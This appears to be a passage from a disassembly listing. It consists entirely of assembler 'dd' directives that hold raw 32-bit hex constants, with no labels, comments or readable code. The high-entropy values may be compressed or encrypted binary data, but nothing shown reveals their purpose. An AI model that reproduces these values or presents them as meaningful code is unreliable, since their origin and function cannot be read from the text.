		dd 0AB0CE192h, 0EEEF7D76h, 8D5A4E20h, 76A352A5h, 0D29CD9D0h
		dd 3B8D666Fh, 0D33125D1h, 2AA0A070h, 0AC37E45h,	0F9215CC6h
		dd 1090DE01h, 5B5B62EEh, 0FE31D750h, 8C58D6E9h,	1892C38h
		dd 0B35352D0h, 20A4B6EFh, 0F6800B05h, 0EA822F0Bh, 0F0D21761h
		dd 147C440Fh, 5967641Eh, 0BE624FFFh, 0EDC12EABh, 4232CD66h
		dd 8E5AA382h, 71231F12h, 5E0410ECh, 803C9058h, 700E3613h
		dd 3DA0848h, 37D34F3Bh,	0BC179D01h, 0E5923216h,	0F829043h
		dd 88B3BCA3h, 8100B0B7h, 466C95C1h, 0D063986Ah,	694808AAh
		dd 48F65810h, 0B1C61805h, 0E2EE635h, 0F268E1Eh,	697325EDh
		dd 0A08FCBDBh, 5AE9B331h, 68084801h, 0E32DD330h, 64065DA6h
		dd 0ED8A0F33h, 13CD9F19h, 47B16A2Dh, 3AE90578h,	2539BA21h
		dd 8443757Bh, 4BE2A69Ah, 531686A2h, 0DEF88943h,	70469BC0h
		dd 400BC32Dh, 82D6B09Ch, 11C43E5Ch, 0C8F23922h,	65CEE607h
		dd 86B464F2h, 0AB135EAh, 0A8FAAADEh, 5CCF20EDh,	240D8A74h
		dd 8448802h, 0B5D3D760h, 5E201E93h, 26567EEDh, 80EB1088h
		dd 6A4C79A7h, 0CD09E581h, 97305h, 631360B9h, 7B532h, 0E9D84059h
		dd 46A2E026h, 6543F18Bh, 3CE00A5Ah, 1608642Bh, 0B773C76Ch
		dd 0F150D75Dh, 0F44D71B8h, 1BDA4429h, 45047FFAh, 3BE5136Eh
		dd 0D2C919E4h, 0A463AD64h, 4D6857E1h, 8A011214h, 48B39110h
		dd 74A0456h
		dd 55A85019h, 5C08A272h, 0FE8533Ch, 1B2D680h, 14084258h
		dd 90E5D79h, 90698A8Dh,	2D706E82h, 0F83901C8h, 6E59C554h
		dd 0FE01CB34h, 0AC85698h, 0DF06E7ECh, 0BC8ED06h, 0A5059FFBh
		dd 5FF901DEh, 7C7D5E89h, 0FD316E12h, 70F70724h,	77B50958h
		dd 0A04B90FCh, 0A4F35C1h, 0B5B4FC8Ch, 5EC9FD33h, 211297FAh
		dd 0E1D13002h, 37D14041h, 0E67D27C5h, 59AE79C0h, 0B49B1BEh
		dd 0CC72C235h, 2FBDB6C7h, 1A24DF95h, 915FF591h,	7A63D13Ah
		dd 0D4DECC32h, 0E06625EBh, 6D98E913h, 27D26C50h, 0BEF763A6h
		dd 123BEF24h, 6618C2FBh, 0ED54967Dh, 3AA10211h,	54348B37h
		dd 0CAA14EACh, 0F652496Bh, 326C63E1h, 2CA0D60Fh, 190EB052h
		dd 0E4821720h, 15F11ABh, 8B9E126Eh, 25C34CE5h, 66720BEFh
		dd 0BEA1F6ECh, 9415BB6Ah, 569FE51Ah, 52B04035h,	0E28073B2h
		dd 0D2F6E000h, 3063B551h, 81595AEAh, 6FA9F23Dh,	468B43DDh
		dd 908A9FB5h, 0A43E8BB2h, 415A54C9h, 0FDF7AE85h, 6AA26567h
		dd 63E96C81h, 13C449B4h, 0CA340E29h, 0E9ABEB61h, 6E3325C8h
		dd 505191CAh, 409867BAh, 33B30AA0h, 66DC3015h, 2C8A5AACh
		dd 8867854Ah, 0E54A88FAh, 1F6366F1h, 5268626h, 1BD5F601h
		dd 1005D606h, 6E9C5FEh,	0CB5BD9ACh, 0E728101Ch,	0A30DBE02h
		dd 0BE84E030h, 4FB00FFCh, 5062BC0h, 4CE00422h, 4CC858FEh
		dd 5AD0AC10h, 42BE54B4h, 0CA881257h, 8B1F9BBDh,	7CD376h
		dd 0C6792FA0h, 90904D25h, 5D714FFCh, 5FB0C176h,	0B8B05C25h
		dd 4F4B8ADh, 0E907CB34h, 42BDB056h, 648F6ECh, 0E0C1CFCBh
		dd 35F18105h, 7FB04E4h,	8D30C368h, 48B0731Bh, 0A37001Bh
		dd 46055432h, 1A430921h, 0C4032C0Dh, 6BB83566h,	0D13E4990h
		dd 6C2F00E8h, 3B2D07C8h, 17FA27ECh, 28CE7608h, 0EA822A0Bh
		dd 0C4254AECh, 822DC5B1h, 6B56D451h, 410C2D0Eh,	0F82922C5h
		dd 0F2BA5F1h, 6B4280B9h, 5AD6EB28h, 8C4D369h, 1CADB029h
		dd 0A2575A95h, 612E8B04h, 8D420177h, 4F85013h, 4B577CB9h
		dd 0D374C723h, 0F3E8DA12h, 0CF98CD89h, 5613F507h, 20FF1B46h
		dd 38F0CD8h, 0C0965FE9h, 0A5F35B8Bh, 382462F2h,	6F027156h
		dd 6A13171Dh, 7E14C2E1h, 0FCBD6061h, 2E7DA07Eh,	0D944C127h
		dd 172D8895h, 5653028h,	45AEC320h, 0BF3E3321h, 0BE2FBD46h
		dd 89EF3FFFh, 0C657598h, 31E40F07h, 5A90295Bh, 971EBFE9h
		dd 0B56E3F26h, 0EE8C6809h, 54AA8B99h, 0CA8A3906h, 89DA0CE9h
		dd 0BAF1C601h, 0C66206E8h, 10052B02h, 0FED7D3BEh, 9ECE27E7h
		dd 0C14A4296h, 0B3E005E1h, 2D280379h, 531D950Ah, 0E9C6C854h
		dd 0EA5314EBh, 0E4D0977h, 4CF35E78h, 9C0A4B3Fh,	7416C004h
		dd 0D7285447h, 12F04DE4h, 94BC9E5Fh, 2D1295D1h,	20F329D8h
		dd 287D494Eh, 0CB7C5B58h, 9E27D89Dh, 186B6FD9h,	15D570C2h
		dd 47E98553h, 0E490D451h, 0EA5C297Ch, 0BBC925A2h, 74FEDAB6h
		dd 8F640B2Ch, 9DC0BD83h, 0F7ED2705h, 6C77D79h, 244A72C3h
		dd 0A5DA6F4Dh, 0E916B716h, 8591F527h, 1788693Ch, 0E924D61Fh
		dd 0CF66680Dh, 62675888h, 39B45000h, 50C0DCF6h,	4A5CAEECh
		dd 0D72CB433h, 8E2CF15Bh, 4179ED83h, 0B0D8E917h, 0B9EC54A5h
		dd 592CA9Fh, 0C0B027C1h, 946AFA4Eh, 0B050604Ah,	0E29D661Ch
		dd 0A34D63E6h, 1C367ED0h, 94A43479h, 7E38D7F6h,	0EB27B073h
		dd 1CDA4922h, 516E2B41h, 89DEEAEFh, 2B35A4Ah, 0DCB615C0h
		dd 56044BC3h, 2D8CA9BAh, 0BD0758A9h, 2A3C80B1h,	0FEDB9D17h
		dd 0BFAE5C28h, 3EE26DA0h, 495CD611h, 90938F9h, 0AB292FF2h
		dd 599E0979h, 40792702h, 135DF03Eh, 3AA1969Ch, 73B8872Fh
		dd 81D55DE8h, 926CE357h, 0EBD7C16Bh, 3CE059EBh,	0A2B22E74h
		dd 25B62E0Ch, 40B0CAF0h, 0B760CB00h, 98BB536Eh,	318C000Eh
		dd 72F3814Bh, 6302277Bh, 0D3E9D921h, 0EFB7D4CEh, 0F0086Fh
		dd 0C8BE0F5Ch, 0BB384B68h, 9C640D3Dh, 4095936h,	1894C68Fh
		dd 9C625D4Bh, 0FEC0A947h, 0ED99D080h, 126A6880h, 43A6541h
		dd 0BF23D15Fh, 0DC2D6A31h, 1FC32802h, 437A8997h, 2725430Bh
		dd 0F5A90019h, 90F0409Ch, 0C5C84D66h, 0DE685000h, 5830E276h
		dd 6A02BDF4h, 8C0F2DCAh, 977DF842h, 0C2DBEEEh, 42CB7947h
		dd 3B76D9FBh, 3589988h,	1D34B3BDh, 7231410h, 99602824h
		dd 0F5D10637h, 706282Ch, 207F83ADh, 69840F00h, 0C667C00Eh
		dd 7EE7444Ah, 67FBE2A0h, 227FC22Fh, 5DFAAAh, 83752AB8h
		dd 11400E27h, 0E8418905h, 0F98B232h, 280D44E3h,	0AA1C503Eh
		dd 6871D949h, 96223F4Bh, 50B0DF5Fh, 0F9127EEFh,	0EB0B8F86h
		dd 0EE9771C8h, 3922D00Ch, 5097A3B9h, 955859E0h,	0D4FE39Bh
		dd 9502A38Ah, 719EE957h, 7B85005h, 32D22BB7h, 54B10501h
		dd 0E8013317h, 0B1124120h, 0F4771642h, 0BD50E5D2h, 0D541EEE9h
		dd 6512973Eh, 902C211Bh, 0B8350766h, 0A5B1EB44h, 0F0319602h
		dd 3FBE36C1h, 6B5BC08Ch, 1B670EA2h, 2C6FE527h, 0B2CB4241h
		dd 38C2B856h, 0F6411A19h, 0D8276B60h, 704282h, 0CD62C4BAh
		dd 76C7645Bh, 7AC669D2h, 54C501A7h, 890F21EBh, 0EBD4552Eh
		dd 9FF3D204h, 0FC8865D1h, 0F6EED1CCh, 0B70358BCh, 0FF293381h
		dd 36C36B6Ch, 9CE9504Eh, 8431671h, 0BD50050h, 0E9482C27h
		dd 4EBA149h, 1C4F215Fh,	5BB145A8h, 4480059Ah, 164BBB5Fh
		dd 0B82C8635h, 0DFE9A018h, 0DFA6ABE8h, 17ABEA75h, 435B8C98h
		dd 0B49292F8h, 0C40D665Bh, 0CBFAEC55h, 7843DA61h, 1DE83B18h
		dd 533B058Ch, 1F137708h, 3952DBE9h, 0EEB081ADh,	0EB2E6C08h
		dd 0E8207F1Ch, 0ADE90880h, 806CCB5Ch, 0EE80D6F6h, 0B658F8F5h
		dd 0DF010447h, 0F622BB5Bh, 0F88B757Ch, 450B205Bh, 2012D2A5h
		dd 0C17C2D48h, 0F1530B25h, 0DA78A5D6h, 12ADCF40h, 61068468h
		dd 0AADF3A58h, 0A3F2A749h, 87B6994Fh, 58064295h, 725DE921h
		dd 79330A75h, 10C22B45h, 4FDDED9Eh, 710800E0h, 1C02B159h
		dd 0D4A65E6h, 773F23C0h, 0CB01161Ah, 0A8946FE3h, 3516B733h
		dd 1224497h, 0CBE5655h,	0F23EDE02h, 0C504D478h,	0C121FDF8h
		dd 56311ABAh, 0B88894C0h, 0CAAB1BBFh, 2D477CDCh, 4F205F4Ch
		dd 40998D0h, 201C97Eh, 0A7808229h, 0DDF8E658h, 2DEB1618h
		dd 3B355A6Eh, 0E5002EB1h, 726B4BBFh, 1660E945h,	86EBE5Fh
		dd 0AE7A58F3h, 1A0224h,	0B29B32DBh, 9E9BF501h, 0CCEF310Ah
		dd 160F403Bh, 270E0580h, 6C28C81Ah, 0BC6BC20h, 523534BEh
		dd 5C411A89h, 99A4205Eh, 83E8BA99h, 9FA3B34h, 0AEDE4ABFh
		dd 8D040792h, 510B2986h, 0D9AB1702h, 5B938353h,	0AB73B909h
		dd 0F2C3DC17h, 0E9B71855h, 0DA59587Fh, 893173B1h, 7A985C0Bh
		dd 87030690h, 8D2F7D7h,	7E0BB9B0h, 37F913Dh, 0B2312349h
		dd 0B8CC4077h, 0B7764C54h, 4B4B7E18h, 0E79D9D2Ch, 3D78A722h
		dd 0CEBA5200h, 0E94FA04Bh, 0DCE89753h, 5904E8BEh, 0D6F75245h
		dd 2A5A0180h, 81151FDCh, 218404EDh, 0E0078568h,	4228E415h
		dd 36FEEAA3h, 1B07E10h,	34081C68h, 5E140B1Ch, 55587498h
		dd 678FE2BEh, 82A99Eh, 0B559317Ah, 82949029h, 72080FE1h
		dd 21EE8964h, 5437E91Bh, 8294979Dh, 1C51B59Fh, 685B602Fh
		dd 0F36FC062h, 0E9A1608h, 5BDD0118h, 2D42A1ACh,	0C081053Ah
		dd 39B2ACE9h, 4E68C494h, 0F35B49E6h, 40E90CECh,	7DBB34F4h
		dd 27D73D57h, 0B468EB12h, 4C4F6BA0h, 14873321h,	587DD86Ah
		dd 1EE9510Bh, 93755933h, 0E36E923Ch, 6C08E874h,	40C38F27h
		dd 4792862Fh, 299568D9h
		dd 3F92FA59h, 56019A49h, 2CA00339h, 0E0B71C32h,	3B80316Ah
		dd 37656BD7h, 0D4C134FAh, 0D428F2BBh, 79510010h, 0E5C14C6Eh
		dd 0FF8BB702h, 0A3F0FB0Bh, 10BF0D04h, 0D8C57193h, 590127ACh
		dd 295EF789h, 0C8E0447Ch, 0AC5BE3DAh, 8178B1C9h, 38B40ACEh
		dd 0AE03D105h, 5DB58144h, 9CE8B28h, 9D7066EEh, 0A0E62960h
		dd 1FA23412h, 44AFD904h, 3FBE45ABh, 0CDB26115h,	0AD6C34B4h
		dd 747A6376h, 6C2C3925h, 0C14A6975h, 1D7F1402h,	0A10D690Fh
		dd 7EBC036h, 0C4599AF7h, 30DA2D5Dh, 1792CB66h, 0E4608D90h
		dd 7F83B934h, 95F005Ch,	0BB5359CAh, 0EC3613D3h,	2854EC7Bh
		dd 2FBAE412h, 0C00F56CBh, 8503E5Eh, 0DA29095Dh,	88F0ECE9h
		dd 0C1612CB1h, 0F27006E0h, 44544E18h, 0E2AE3A50h, 0C3680C2Ah
		dd 0C085D34Ah, 0FFF28139h, 1209FA41h, 6139840Fh, 1A8142C0h
		dd 0AD30D8Fh, 10193C89h, 0C35FFC7Ch, 47B28137h,	0E96B90D7h
		dd 40C34EF9h, 0CE8A5788h, 0F71FCF8Bh, 0BDC940D8h, 6E6E9Eh
		dd 4BB85053h, 0E947241Dh, 44129927h, 0B5E4FD3Dh, 499497DDh
		dd 79681EC0h, 7F78AC11h, 9CEA065Ah, 0BA375105h,	7750441Fh
		dd 64B0FB66h, 7E2FF7h, 0EC59051Dh, 0C231E530h, 4529E927h
		dd 33D40B2Ah, 6841F179h, 37734682h, 0D8E35A73h,	5813C3BFh
		dd 9187EEE9h, 8ACA8160h, 34AE2609h, 1DD612BCh, 0F2298B39h
		dd 6A2F6202h, 0DD2974Ah, 0F10FE527h, 0C1ED8087h, 4D609432h
		dd 0FD7B9CA0h, 175FB824h, 0F7729302h, 8021218h,	84C8335Dh
		dd 22971E79h, 0E8DBE558h, 250519Bh, 7A139768h, 0D0805829h
		dd 0C6AF8F0Fh, 3B5145BFh, 0E9D004CFh, 2C77F19Bh, 0CC8809DDh
		dd 547B195Dh, 62097CEAh, 5942F201h, 4709B021h, 5282321Ch
		dd 0C593399Eh, 0D89D08Bh, 0FA98D902h, 5F426851h, 435E1901h
		dd 16FC8D22h, 76564D01h, 954067D9h, 67F11FBDh, 60AB0C70h
		dd 0EDC175A0h, 2AF0458h, 29AA733h, 1E65D831h, 0C72337C6h
		dd 8EEE0135h, 3A490854h, 95F8A92h, 0D1C8B60Fh, 0AF684224h
		dd 0FAC824D7h, 205DCA0h, 23D4A20Ah, 838FC101h, 0C3B204C9h
		dd 0FFBD18D5h, 4951D413h, 0D0A4742Dh, 0A38BAEF5h, 802DE916h
		dd 5B555333h, 68145BA4h, 844E32A6h, 0EB457B01h,	82C5BC20h
		dd 705FFD29h, 3DC7251Ch, 85AC91D3h, 523FDC5Ah, 688439DCh
		dd 0E0B34825h, 93A30716h, 8F234E2h, 2EF8F040h, 7963399Bh
		dd 945F622Fh, 730E5FAFh, 5E2539B2h, 0D25AFCE6h,	40A7FFA4h
		dd 0A516B493h, 9DE0EC80h, 0D4F60E06h, 0DC80C4FEh, 0E9A9B252h
		dd 7F0229E3h, 0D15A9809h, 0A20A0E2Fh, 401E8923h, 0A80CB48Fh
		dd 9E0B199Ah, 0FB634EF2h, 300AF72Ch, 0A43E2D41h, 882222Ah
		dd 0A3A06F62h, 0C8B70F5Ch, 43B66816h, 0D04F158Ch, 0BF8697B1h
		dd 0D3782067h, 0B43ED3C8h, 0B671C2F1h, 97801D54h, 813C9E28h
		dd 7D8409EFh, 8B551DFDh, 0B4FE023Ah, 0DB240BB3h, 1154EBEDh
		dd 3A992A3h, 81C1E9A1h,	880F4EEFh, 9548CC26h, 5E6F0924h
		dd 0F5058967h, 2827E153h, 1BE2A769h, 0F5127AF6h, 277EAB36h
		dd 0B8649CCAh, 20C2C858h, 62F4FC5Dh, 92C00B68h,	0B5E08FA6h
		dd 273814BDh, 856C5FF8h, 0C484E849h, 5F346144h,	61F1A578h
		dd 9A402F09h, 5A40E4F2h, 0E2724053h, 3B710368h,	0A72034B8h
		dd 2C1C907h, 56589216h,	80E07FAh, 0CBD0133Ah, 4F446E0Bh
		dd 0EC6B9022h, 160E64Dh, 460D660Ch, 0B8E9163Dh,	3CC6D1E7h
		dd 0D834FD03h, 6E182DCFh, 9C564D71h, 632C1602h,	745CF843h
		dd 410D8174h, 504B800Bh, 0C434F06Eh, 0E32FC49Ch, 89B82A3Eh
		dd 0F2BB0BECh, 0C47E6B6Ch, 8071273Eh, 685257E8h, 4F41FC32h
		dd 0CFACA79h, 0A1C555E9h, 339309C1h, 6B8E576Ah,	0CE902EFh
		dd 43BE86E0h, 41652E17h, 0AE54960Ah, 0E1CAB362h, 0C56F037Fh
		dd 0B3FE162Dh, 1BBA2498h, 0B8A0F796h, 600F41DFh, 0DCF25F5h
		dd 911B6C68h, 0B3CF4092h, 6112B25Fh, 0BB822017h, 60B45CBAh
		dd 6C98073Dh, 4A9284B8h, 8F9F24A6h, 6134ABDCh, 53F68F18h
		dd 5096BF93h, 8408E95Fh, 3C19B287h, 0B60B3B35h,	6792405Dh
		dd 268809Fh, 868E494Eh,	955FE9C4h, 51CDC182h, 0FDDF4257h
		dd 48BD4458h, 83DBEF3Eh, 2F9CA8E9h, 0B62A11D9h,	5838423Dh
		dd 0E3BF170Ch, 9D0701CCh, 3DF0FC66h, 6C28399Ch,	902698B0h
		dd 58A526BFh, 5F650937h, 0D7841AA3h, 0FBE9D9h, 300DF0EAh
		dd 0F1800F39h, 0F74EB47Ch, 1FA55B7Fh, 667FDC3Bh, 4A802845h
		dd 545BFA93h, 0AB9D37E9h, 3A5256CDh, 43D3845Ah,	354C6808h
		dd 422B89E2h, 71D329B4h, 8C0B6BBBh, 0EC64F384h,	908B10F7h
		dd 2DA9134Eh, 100923EDh, 10B03EFh, 2EFC2DC8h, 0F9055980h
		dd 0BF7A3E50h, 70060C2h, 70C4BA52h, 0E97D6A71h,	3C90FD49h
		dd 0DDAEA4CCh, 0DC8EE0Ch, 5EF30989h, 3605D901h,	7D38990Ah
		dd 0CF6882B6h, 60EA7437h, 711D6522h, 3861ECB5h,	72267D10h
		dd 3F6825B0h, 0B88008ABh, 7C592D46h, 38576382h,	0A10C737Ah
		dd 72D5A016h, 480314A9h, 0E916FD0Eh, 41EF4775h,	425C7391h
		dd 0A0F23502h, 4357B22Eh, 11EEADAh, 2E30D4B5h, 72802AC4h
		dd 90672C59h, 0B3533AD3h, 0BA61E989h, 0F36338DEh, 7D34F9D4h
		dd 502FE138h, 3E57F560h, 81629501h, 0FF2CF3F5h,	0D0CD2E82h
		dd 0F8E07341h, 88F89DE5h, 9C4B3998h, 0D6A77912h, 0FDB0B80h
		dd 924FFD85h, 26AEF590h, 0A2744C6Eh, 3961B100h,	29860F58h
		dd 0E3418EE3h, 1BD5E017h, 0B7F699E9h, 0AB75C22Fh, 2DCE8B4Bh
		dd 0F27784EBh, 50005EF2h, 0E480C4B4h, 8A3A0F53h, 0F58EDF0Bh
		dd 20EEFD13h, 0D1372CB9h, 11BC4E48h, 0C6022AEBh, 0D3B6F3F1h
		dd 0CBBB0F5Dh, 68FE215Ah, 0CC2E605Fh, 0C1626F2Eh, 6E328A1Bh
		dd 24ECB34Bh, 23722F19h, 0AD62E912h, 53101F46h,	2DE20421h
		dd 8064144Bh, 579336D8h, 0D621AA16h, 6A989011h,	860B0956h
		dd 0E5F0565Bh, 0EA3640BEh, 637C791Dh, 6EF2012Eh, 5E980822h
		dd 0C24F5AB0h, 1FE9AE45h, 12EA60E4h, 0E59F63D6h, 3E48FE2Dh
		dd 790186BEh, 0D6F75C55h, 6EF9464Eh, 566B250h, 3B277480h
		dd 9678E22Dh, 0D80833E3h, 48EA5BFBh, 0FB55CAC1h, 0B3692E02h
		dd 0D9CEF5E9h, 7DB3AFB4h, 5907B2EAh, 567B4067h,	56AD408Ah
		dd 0E298295Dh, 4E5BB224h, 168364h, 5930FF63h, 500C5558h
		dd 5754C668h, 2AEF416Ah, 5CEEAD82h, 226C82A8h, 0DEC177E3h
		dd 6C3C6E2Ch, 0FBB84192h, 0C90F4DB1h, 70B6301Dh, 4FBFE3B2h
		dd 27BE1B90h, 3FA9E4A9h, 9FBA9E30h, 63AA240Fh, 40D4021Ah
		dd 0A675012Ah, 0B239BF3Dh, 0D4492CAEh, 4A7883C7h, 2ED17BE3h
		dd 86CC2BEEh, 5DC34A21h, 3DFE900Eh, 66F60380h, 0F74B652h
		dd 0F3288E0Eh, 12BFEB8Eh, 1C38EE5Ah, 42CCC3Fh, 0BAE1D406h
		dd 7A06EF33h, 2D9D5E38h, 0F9E9D449h, 43352AFBh,	0A5E4DDA9h
		dd 96083876h, 93D14E05h, 0E7FDFF56h, 0BD0C404h,	794EFC3Dh
		dd 9989F105h, 2BB5641h,	6B7F6812h, 2C21D7B1h, 0C2572D8Bh
		dd 0BE297D78h, 318A70FCh, 0EC808DD5h, 58E1882Eh, 62C87D20h
		dd 0B683B3Ah, 0CBBA745Eh, 1DB3D5C4h, 12E45A84h,	2778D0E8h
		dd 0D4A7B6CCh, 0A9F013F6h, 3C32AAD9h, 21BD97BEh, 81A09C2Eh
		dd 0AC6EC168h, 4D514254h, 0D12E527Eh, 0E15FF9EBh, 3A1DCD68h
		dd 0C969E8Dh, 0FBE18808h, 0A4E4434Eh, 38001C7h,	0EFC1140Ah
		dd 998E707h, 2F027D0Dh,	0F8E9D7F7h, 8F3648D3h, 23800971h
		dd 97845E52h, 4E63B83Ch, 0F60966F6h, 0F756FED2h, 9BE90102h
		dd 0C7E7DC06h, 0BD2BBF6h
		dd 575F6873h, 54340AE7h, 57F1862Dh, 46075398h, 0F2B077Bh
		dd 48DE1CF2h, 978DB3A4h, 0AE67E446h, 5D49881Bh,	0A2978894h
		dd 0F39D6BAh, 0D75A03A7h, 1C6F7F1h, 9FB252D8h, 41FD00Ah
		dd 0D4059624h, 0FE5389E9h, 0E14BBDB9h, 0FC767A76h, 2B82F1Ch
		dd 4A467090h, 2939E01Dh, 0C700C3A6h, 5172C052h,	4D7502B9h
		dd 0CF096717h, 0A40269D8h, 314EA610h, 0E7D087DFh, 0D41234E2h
		dd 6021BD3h, 46F7C0B7h,	294BE44Bh, 18884513h, 519820E9h
		dd 868B905h, 6883D4EEh,	7F188075h, 1BA82FE9h, 5006373h
		dd 4E0C5209h, 2DF02801h, 2A7C9807h, 1C951471h, 87FC048Dh
		dd 0E1B7533Eh, 0CCB3EF80h, 0A9A106C7h, 0D7316A5Dh, 0B9072CFFh
		dd 5BC99EFCh, 0E9528765h, 441ECAC0h, 59D9B0DBh,	64885A26h
		dd 0B2565842h, 889A001Fh, 0B79941Ah, 2E3C14Bh, 0CB61581h
		dd 0CBD240FEh, 7E2E6F4Ch, 0DA0E413Fh, 184DC7Fh,	4BAB5BDEh
		dd 52123005h, 73CFF05h,	0B6E94AFAh, 0CCB8996h, 62A0D60Fh
		dd 0AB74407Ch, 0EF2B024Bh, 0E6000990h, 0BE6E8661h, 5AD3310Bh
		dd 42A95689h, 9B489D78h, 355AB568h, 0CA5E75F6h,	0CAE91218h
		dd 16884AC4h, 7FCD450Dh, 8C26BE9Ah, 1BB9803Eh, 135A50Eh
		dd 0B12ECA7Ch, 686099DEh, 5B483480h, 6A12835Dh,	7023A2B9h
		dd 0D29594E2h, 366F20C0h, 5E0C11Ch, 0B5CDE8DCh,	9A3AD26Bh
		dd 0E3E913F8h, 76586A49h, 0F76E7A4Dh, 0BA95ADEEh, 9C75C021h
		dd 0D8469796h, 0C68806B0h, 4B076855h, 5D18FC27h, 0D297A9CEh
		dd 9FC33795h, 0D0AACFEBh, 49D4A088h, 0AC2C37D8h, 8C621618h
		dd 0E3B23D1Fh, 4A92EEBFh, 7F06F1A7h, 417092DAh,	7884357h
		dd 637FDC1h, 6A550C4Ah,	0E73E2CD4h, 13C2270Bh, 0E2492F56h
		dd 0D4016748h, 20C66844h, 0DD5E540Ch, 0D0525E02h, 992C5B05h
		dd 0F1066F90h, 57506D49h, 2019740Ch, 331C4C54h,	0C4683465h
		dd 6F018E40h, 2D4A67CEh, 473581B0h, 0A5321802h,	5ED4E0FCh
		dd 5AD60789h, 0C205EEC1h, 0CC5DC83Bh, 257CB8AAh, 0D2650CB0h
		dd 9AED2B0Bh, 6EB1896Ch, 0E682AFBh, 0AE912BBh, 0C4A1E8CEh
		dd 65E4FEB0h, 9C6F071Dh, 80DAF71Eh, 332231E2h, 0F2006C7Eh
		dd 0B73E10ADh, 0CEBD86E9h, 16E6FADFh, 6BBE0EABh, 82B9C61Ah
		dd 0EC5E4A96h, 0D8C1540Dh, 86015205h, 895B801h,	70C6317Fh
		dd 2A5FD3BBh, 85026E7h,	0B72295BBh, 4BF68918h, 3BE2684Ah
		dd 562D03C9h, 296388F8h, 705F028h, 68E69995h, 0F36C3EF1h
		dd 87E95582h, 0B60B5556h, 8D38BBEh, 4542E0B4h, 78C00B42h
		dd 2C5AAF68h, 0C97AB729h, 0E8DAE612h, 0C988BF20h, 0A2D0A062h
		dd 74662B81h, 0CF1B8761h, 0DA08D1F7h, 0A17788Fh, 0EA0685Ch
		dd 20CFA853h, 0F2EAE1Ch, 0CB26D58Ah, 70B8369Fh,	22E945B5h
		dd 0F663A0A3h, 0E82A5073h, 236209E1h, 0A0577FD3h, 0CF49064Eh
		dd 0F85901Fh, 838D6F6h,	96C1EE69h, 64F3D95Fh, 473F8FFCh
		dd 0D9533040h, 58228B0Fh, 28810F32h, 38F06090h,	0EA00737Fh
		dd 64C6805Dh, 0D3C44AE9h, 4072E5F1h, 91BD556Dh,	0A590307Bh
		dd 5EC0F500h, 0B9E97C60h, 2D3580A7h, 0A1C38616h, 4A957C1Bh
		dd 0D48BF260h, 0B202228Fh, 56E93042h, 4D37BE79h, 0F8348624h
		dd 0EE3BFC28h, 4E7A9D57h, 42A2CE80h, 30E9029Dh,	0EF4F41C6h
		dd 0F4A0D02Eh, 5F4BFE01h, 0E51267A2h, 845AB897h, 1CA71DA7h
		dd 0EE58F92Dh, 0D9C94883h, 307F425Bh, 0AD7A6B44h, 6103DD82h
		dd 62D15451h, 0FB14AD8Fh, 1C770B8Eh, 28914C11h,	4B64A08h
		dd 4FBCD910h, 4EA37C2h,	0DCD8AFD0h, 0F14F25E9h,	65C65648h
		dd 0C8F2EB5Eh, 0D39DB21Dh, 2915464Ch, 4B2632D5h, 12C2DD1Ch
		dd 0C2177B30h, 0FCF1E693h, 20A8B988h, 71B60BF8h, 8C585153h
		dd 4A806B01h, 0FCE48F0Fh, 1E2D1C62h, 1CB2B309h,	0C7D0E55Dh
		dd 0C802C4E9h, 133FB2DFh, 8EA84B6Ah, 242B55Fh, 0BEF15D0Bh
		dd 0BE3299Fh, 0BE50B3E9h, 58E72001h, 1EE16866h,	0B201D62Dh
		dd 0E9D730DAh, 759E28A2h, 0FAD4392Ch, 0A513146Ah, 44801A2h
		dd 0AFDAAA26h, 5E9A9D9h, 2FF3CA38h, 15514874h, 0C869810h
		dd 71764E68h, 0B9B640AAh, 785CF090h, 3487BCCh, 0BBDD02ECh
		dd 0DD219416h, 0D0336D9Ch, 26B0B17h, 3CC4805Bh,	0C961E688h
		dd 5FEB6494h, 2FD0F739h, 6118D9D8h, 3A54781Bh, 53D5709h
		dd 39FBDDB4h, 48EB0205h, 54A694FFh, 41FE11BAh, 97CA6F21h
		dd 424F915Eh, 2096B3F8h, 91327A53h, 0F75C8435h,	18B8E9E1h
		dd 0BE3C4F47h, 522B0360h, 5EF30142h, 5FE619EAh,	2F940A20h
		dd 0A869D2F6h, 0E5806B89h, 2F685266h, 299691Bh,	7B053A09h
		dd 0B80BF380h, 4ACF13C9h, 0A8E9F4h, 0B2B8505Ah,	5254157h
		dd 0F81C9735h, 8A5122Fh, 871ADDE6h, 0F2D966B9h,	949FB126h
		dd 0A73EC654h, 166B31D4h, 0EC4CBD21h, 28088B92h, 0BB018A60h
		dd 3A717396h, 219320h, 5666023Fh, 0F15487BEh, 0E9461004h
		dd 0F163424h, 522B083Dh, 0F9285F84h, 0FC21C9EBh, 0EDF6254Eh
		dd 50E92F5Eh, 0EB809D01h, 62C3CCE5h, 0FF9C78F6h, 55894E1Dh
		dd 943346FAh, 82E43936h, 0B1A08C9Dh, 0DCB74A3Ch, 0D83125F4h
		dd 959B20ADh, 2C29AE80h, 2509CA00h, 22DB0BD2h, 0D987120Fh
		dd 45274946h, 68CC7111h, 845728E9h, 0D1A100Fh, 5095862Bh
		dd 81F783C1h, 668B2CD8h, 4F124F2h, 9017DBB8h, 9DAE04B4h
		dd 53AEB429h, 8947ED52h, 2F04D651h, 5A62D071h, 33F94057h
		dd 3830467h, 10B1E8E9h,	2EE600D8h, 0F78135B9h, 0D6630419h
		dd 0ED5EE960h, 42680913h, 0B810182Ch, 5B76001Bh, 7AA0D1Dh
		dd 0D1390539h, 481081E8h, 0EAE912F2h, 1C819D74h, 929715F1h
		dd 129CFC7Fh, 33E85F29h, 758568B1h, 0CD8A7FC8h,	0C9A3E25Eh
		dd 40B520C7h, 3D5AF205h, 16AF6AB5h, 97D69FCAh, 990E4612h
		dd 0CD14DE93h, 685B09B7h, 5DF7626Ch, 0E90639E5h, 2542B7ABh
		dd 0C3595758h, 0C4CACC72h, 0B815E9D9h, 8D2F4F96h, 68538862h
		dd 73A81060h, 0C0DEE92Dh, 13552DEFh, 107C6313h,	0ED20DD8Ah
		dd 259B54C1h, 74ED771Ah, 0B82A133Bh, 59CFC5F6h,	5D432982h
		dd 0AC0BE79Ah, 0DF5A1676h, 0E912D514h, 3552ECF1h, 447DA8F8h
		dd 9AB5D859h, 896F51B0h, 9A0AC701h, 295B8D67h, 4BC32A52h
		dd 28A3F8B7h, 50F10BBBh, 0E50F2BE3h, 757A6742h,	0A3F8E2C2h
		dd 0C605660Bh, 0C37C0284h, 0FCDD658h, 31A6735Ah, 0C25006D0h
		dd 0D27CF706h, 350B927Eh, 89E96F52h, 0C44A547Bh, 0D173E1BBh
